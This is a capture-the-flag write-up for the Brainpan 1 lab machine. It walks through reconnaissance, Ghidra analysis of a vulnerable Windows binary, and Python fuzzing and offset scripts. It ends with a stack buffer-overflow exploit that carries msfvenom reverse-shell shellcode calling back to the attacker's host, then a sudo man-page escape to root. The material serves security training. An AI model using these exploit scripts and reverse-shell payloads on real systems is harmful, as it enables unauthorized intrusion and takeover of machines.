Brainpan 1 THM

IP

10.10.28.147

initial nmap scan

sudo nmap -sV -sC -A -oA inital_nmap 10.10.28.147

full nmap scan

sudo nmap -T5 -p- -oA full_nmap 10.10.28.147

Ports

9999: abyss

10000: HTTP

Port 10000 HTTP

when we navigate to port 10000 we are greeted with the following

  • looks like a blog regarding safe coding looks pretty static no functionality

lets find any hidden dirs

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.28.147:10000 -o dirs.txt

we do find

  • /bin

navitgating to http://10.10.18.147:10000/bin

we will find brainpan.exe

Let's down the executable and start enumeration on the file

first, let's move the brainpan.exe into our working directory

cp /home/kali/Downloads/brainpan.exe .

we need to know what kind of file we are enumerating

file brainpan.exe
  • we can see we are working with a windows 32bit executable

Lets run strings to pick up any string within the binary

strings brainpan.exe

that seems like an odd string, could it be a password?

Lets see, we can use netcat to attempt a connection at port 9999 with the password shitstorm

nc 10.10.28.147 9999

we have the right password but we have no functionality after we pass it through

Let's use wine, what is wine ?

  • Wine is a tool that allows us to run on a Unix-like operating system to create a compatible layer that allows us to run Windows applications, wine enables users to run a wide range of Windows software directly from a Linux machine

  • For us, this means we can run the 32bit windows executable from our kali machine

  • for installation purposes we need to do the following from our root console

dpkg --add-architecture i386
apt-get update && apt-get install wine32:i386

let's use wine and run the executable

wine brainpan.exe

Now we can connect to the executable from our local host

nc 127.0.0.1 9999

after we enter the password we dont get any further functionality

Let's open the executable using ghidra

ghidra

we can import our brainpan.exe through the file -> Import File

Once the file is loaded into ghidra we can double click it in the window

Once we open the file through ghidra we will see a message asking if we want to analyze it, and yes we should, just to get further information on the file

when prompted just click the analyze button

Now the first thing we want to check out would be the functions tab on the left of the window

within the functions tab, we should check out what consists of the _main function

Looking within the reconstructed code to the right of the window, we can see

1local_414 = _get_reply(local_3fc);

  • this seems interesting and if we look further within the _get_reply function we can see

  • we can see within this function we are passing through param1 (most likely the password)

  • Then the system function _strcpy to coping our param1 to local_20c

  • This indeed could be vulnerable to a buffer overflow since there is no check on the amount of characters that can be passed through

  • also there is a string comparison _strcmp that compares the variable local_20c which holds the value of param1 (the password being passed through) to the password string shitstorm

  • we can also tell from the char local_20c [520]; that the variable local_20c has a buffer size of 520

Now what we can do is bring the executable up using Wine again on our local machine and start building our buffer overflow exploit

sudo wine brainpan.exe

now from another terminal window, we can use python3 and netcat to send characters through the password prompt and find the buffer limit

we will start with a buffer of 510 characters

python3 -c "print('A' * 510)" | nc -v 127.0.0.1 9999

we can see in our terminal that we are still under the buffer cap

what if we send 520 characters

python3 -c "print('A' * 520)" | nc -v 127.0.0.1 9999

we can see we crashed the program

Lets move over to a Windows VM running the Immunity debugger

a quick way to transfer the brainpan.exe file is using a Python server in the Kali machine and navigating through the Windows internet browser and downloading the file

Once we are one our Windows machine and we have brainpan.exe downloaded we want to run brainpan.exe and run the immunity debugger with administrative privileges

once they are running, in the immunity debugger we click file -> attach -> click brainpan -> attach

this will bring up the brainpan.exe in a paused state we want to change this to run the program by clicking

Now from our kali vm, we can interact with the program, for now, let's build a Python script

import sys
import socket
from time import sleep

class Fuzzer:
    def __init__(self, target_IP, target_Port):
        self.target_IP = target_IP
        self.target_Port = target_Port
        self.buffer = "A" * 100

    def fuzz(self):
        while True:
            try:
                # prepare the payload by appending '\r\n' to the buffer
                payload = self.buffer + '\r\n'

                # create a new socket and connect to the target ip and port
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.target_IP, self.target_Port))

                # display the length of the current buffer being sent as the payload
                print(f"[+] Sending payload \n{str(len(self.buffer))}")

                # send the payload to the target as bytes
                s.send(payload.encode())

                # close the socket connection
                s.close()

                # add delay of 1 second before sending another payload
                sleep(1)

                # increment the buffer by adding 100 "A" characters for the next interation

                self.buffer = self.buffer + 'A' * 100
            except:
                # if an exception occurs, the fuzzer likely crashed, and we exit the program
                print(f"Fuzzer crashed at {str(len(self.buffer))}")
                break

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("fuzzer.py ip port")
        sys.exit(1)

    target_IP = sys.argv[1]
    target_Port = int(sys.argv[2])

    fuzzer = Fuzzer(target_IP, target_Port)

    fuzzer.fuzz()

when we run our python script

python3 fuzzer.py 192.168.234.136 9999

after running our script we can see the application crashed at 1000 bytes

and if we look at the immunity debugger we can see

we can see we have overwritten the EIP and the EVP

Now we need to work out at which point the EIP is being written over, so we can modify the pointer in which we can point it at something malcious

Now we want to close the immunity debugger and then start it back up along with our brainpan application, we want to work out where exactly where the EIP is being overwritten

in our kali machine we are going to utilize a tool through msf called msf-pattern_create since we know the application crashed at 1000 bytes we specify we want to generate 1000 characters

msf-pattern_create -l 1000

Now we are going to modify our Python script

import sys
import socket
from time import sleep

class Fuzzer:
    def __init__(self, target_IP, target_Port):
        self.target_IP = target_IP
        self.target_Port = target_Port
        self.buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

    def fuzz(self):
        while True:
            try:
                # prepare the payload by appending '\r\n' to the buffer
                payload = self.buffer + '\r\n'

                # create a new socket and connect to the target ip and port
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.target_IP, self.target_Port))

                # display the length of the current buffer being sent as the payload
                print(f"[+] Sending payload \n{str(len(self.buffer))}")

                # send the payload to the target as bytes
                s.send(payload.encode())

                # close the socket connection
                s.close()

                # add delay of 1 second before sending another payload
                #sleep(1)

                # increment the buffer by adding 100 "A" characters for the next interation

                #self.buffer = self.buffer + 'A' * 100
            except:
                # if an exception occurs, the fuzzer likely crashed, and we exit the program
                print(f"Fuzzer crashed at {str(len(self.buffer))}")
                break

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("fuzzer.py ip port")
        sys.exit(1)

    target_IP = sys.argv[1]
    target_Port = int(sys.argv[2])

    fuzzer = Fuzzer(target_IP, target_Port)

    fuzzer.fuzz()

running the script

python3 fuzzer.py 192.168.234.136 9999

when we look back in the immunity debugger we can see that EIP has now 35724134

With this we are going to use msf-pattern_offset

msf-pattern_offset -l 1000 -q 35724134

and we can see

  • what this mean is the EIP is at 524 byte

to confirm this lets edit our python script again

import sys
import socket
from time import sleep

class Fuzzer:
    def __init__(self, target_IP, target_Port):
        self.target_IP = target_IP
        self.target_Port = target_Port
        self.buffer = 'A' * 524 + 'B' * 4
    def fuzz(self):
        while True:
            try:
                # prepare the payload by appending '\r\n' to the buffer
                payload = self.buffer + '\r\n'

                # create a new socket and connect to the target ip and port
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.target_IP, self.target_Port))

                # display the length of the current buffer being sent as the payload
                print(f"[+] Sending payload \n{str(len(self.buffer))}")

                # send the payload to the target as bytes
                s.send(payload.encode())

                # close the socket connection
                s.close()

                # add delay of 1 second before sending another payload
                #sleep(1)

                # increment the buffer by adding 100 "A" characters for the next interation

                #self.buffer = self.buffer + 'A' * 100
            except:
                # if an exception occurs, the fuzzer likely crashed, and we exit the program
                print(f"Fuzzer crashed at {str(len(self.buffer))}")
                break

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("fuzzer.py ip port")
        sys.exit(1)

    target_IP = sys.argv[1]
    target_Port = int(sys.argv[2])

    fuzzer = Fuzzer(target_IP, target_Port)

    fuzzer.fuzz()
  • self.buffer = 'A' * 524 Will lead us to the EIP

  • 'B' * 4 then we should see 42424242 within the EIP

running our script again

python3 fuzzer.py 192.168.234.136 9999

we can see we have successfully overwritten the EIP

Now for the next step we are going to look for bad characters in this

for this we can use the following repo

Now we are going to modify the Python script again

import sys
import socket
from time import sleep

class Fuzzer:
    def __init__(self, target_IP, target_Port):
        self.target_IP = target_IP
        self.target_Port = target_Port
        self.buffer = 'A' * 524 + 'B' * 4
        self.badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
    def fuzz(self):
        while True:
            try:
                # prepare the payload by appending '\r\n' to the buffer
                payload = self.buffer + self.badchars + '\r\n'

                # create a new socket and connect to the target ip and port
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.target_IP, self.target_Port))

                # display the length of the current buffer being sent as the payload
                print(f"[+] Sending payload \n{str(len(self.buffer))}")

                # send the payload to the target as bytes
                s.send(payload.encode())

                # close the socket connection
                s.close()

                # add delay of 1 second before sending another payload
                #sleep(1)

                # increment the buffer by adding 100 "A" characters for the next interation

                #self.buffer = self.buffer + 'A' * 100
            except:
                # if an exception occurs, the fuzzer likely crashed, and we exit the program
                print(f"Fuzzer crashed at {str(len(self.buffer))}")
                break

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("fuzzer.py ip port")
        sys.exit(1)

    target_IP = sys.argv[1]
    target_Port = int(sys.argv[2])

    fuzzer = Fuzzer(target_IP, target_Port)

    fuzzer.fuzz()

restart our immunity debugger again same as before now lets run our python script again

Now within immunity debugger we want to checkout the ESP, right click and follow in dump

then if we look within the bottom left of the windows we should see the dumped contents

when we look at the dumped contents we can see it start at 01 and follows up in the same order as our badchars

  • our main goal here is to find any bad characters here but further inspection proves there are not

for our next step we are going to need mona modules

  • follow the installation

run immunity debugger and brainpan again

Now at the bottom of immunity debugger we can type

!mona modules

we can also see False across the board for any protection brainpan may have had

lets check if we can find a return address, we can use Mona for this

!mona find -s "\xff\xe4" -m brainpan.exe
  • now \xff\xe4 is our JMB esp instruction, meaning our jump code

we want to search for a jump, which we find at 0x311712f3

Now we can follow the expression by clicking

then enter the jmp code

we can see the jmp code sets here

Now we can set a breakpoint at this location, press f2 to set a breakpoint

  • were just going to set a breakpoint to ensure that we can trigger this breakpoint

Now we are going to write this backwards

back in our python script

import sys
import socket
from time import sleep

class Fuzzer:
    def __init__(self, target_IP, target_Port):
        self.target_IP = target_IP
        self.target_Port = target_Port
        self.buffer = b"A" * 524 + b"\xf3\x12\x17\x31"
    
    def fuzz(self):
        while True:
            try:
                # prepare the payload by appending '\r\n' to the buffer
                    payload = self.buffer + b'\r\n'

                    # create a new socket and connect to the target ip and port
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((self.target_IP, self.target_Port))

                    # display the length of the current buffer being sent as the payload
                    print(f"[+] Sending payload \n{str(len(self.buffer))}")

                    # send the payload to the target as bytes
                    s.send(payload)

                    # close the socket connection
                    s.close()

                    # add delay of 1 second before sending another payload
                    #sleep(1)

                    # increment the buffer by adding 100 "A" characters for the next interation

                    #self.buffer = self.buffer + 'A' * 100
            except:
                    # if an exception occurs, the fuzzer likely crashed, and we exit the program
                    print(f"Fuzzer crashed at {str(len(self.buffer))}")
                    break

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("fuzzer.py ip port")
        sys.exit(1)

    target_IP = sys.argv[1]
    target_Port = int(sys.argv[2])

    fuzzer = Fuzzer(target_IP, target_Port)

    fuzzer.fuzz()

once we run the script, we can look back at our immunity debugger and well see that we had hit a breakpoint

  • from the above, we can see that we are hitting the exception, we are hitting the jmp ESP, which is good

Now we can close the immunity debugger and run brainpan as administrator

Now we are going to generate a malicious shellcode using msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.14.45.1 LPORT=9001 -b "\x00" -f c

I kept running into problems while running the Python script against the windows vm running brainpan, so i directed my energy on tackling the actual application running through Linux server

lets generate shell code

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.14.45.1 LPORT=443 EXITFUNC=thread -f python -b "\x00" -v shell

Now lets create a new cleaner python script to run the exploit

import sys, socket

host = "10.10.117.207"
port = 9999

shell = b"\xba\x99\x9e\x90\xbc\xda\xc1\xd9\x74\x24\xf4\x5d"
shell += b"\x33\xc9\xb1\x12\x31\x55\x12\x83\xed\xfc\x03\xcc"
shell += b"\x90\x72\x49\xdf\x77\x85\x51\x4c\xcb\x39\xfc\x70"
shell += b"\x42\x5c\xb0\x12\x99\x1f\x22\x83\x91\x1f\x88\xb3"
shell += b"\x9b\x26\xeb\xdb\x11\xd7\x26\x1a\x4e\xe5\x38\x1d"
shell += b"\x35\x60\xd9\xad\x2f\x23\x4b\x9e\x1c\xc0\xe2\xc1"
shell += b"\xae\x47\xa6\x69\x5f\x67\x34\x01\xf7\x58\x95\xb3"
shell += b"\x6e\x2e\x0a\x61\x22\xb9\x2c\x35\xcf\x74\x2e"

offset = 524

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    payload = b"A" * offset # Padding
    payload += b"\xf3\x12\x17\x31" # EIP
    payload += b"\x90" * 100 # NOP sled
    payload += shell # Shellcode
    payload += b"\r\n"

    s.send(payload)
    s.close()

except:
    print("Error connecting to server")
    sys.exit()

we now have a shell

Privilege escalation via puck

Let's stabilize our shell

python3 -c "import pty;pty.spawn('/bin/bash')"

lets check our sudo privileges

sudo -l

When we run the command with sudo we can see the following

we can run the /home/anansi/bin/anansi_util manual

it's essentially running man pages meaning we can elevate our privileges to root

if we checkout gtfobins

we can elevate our privileges like so

sudo /home/anansi/bin/anansi_util manual man man
!/bin/sh

we are now root

Last updated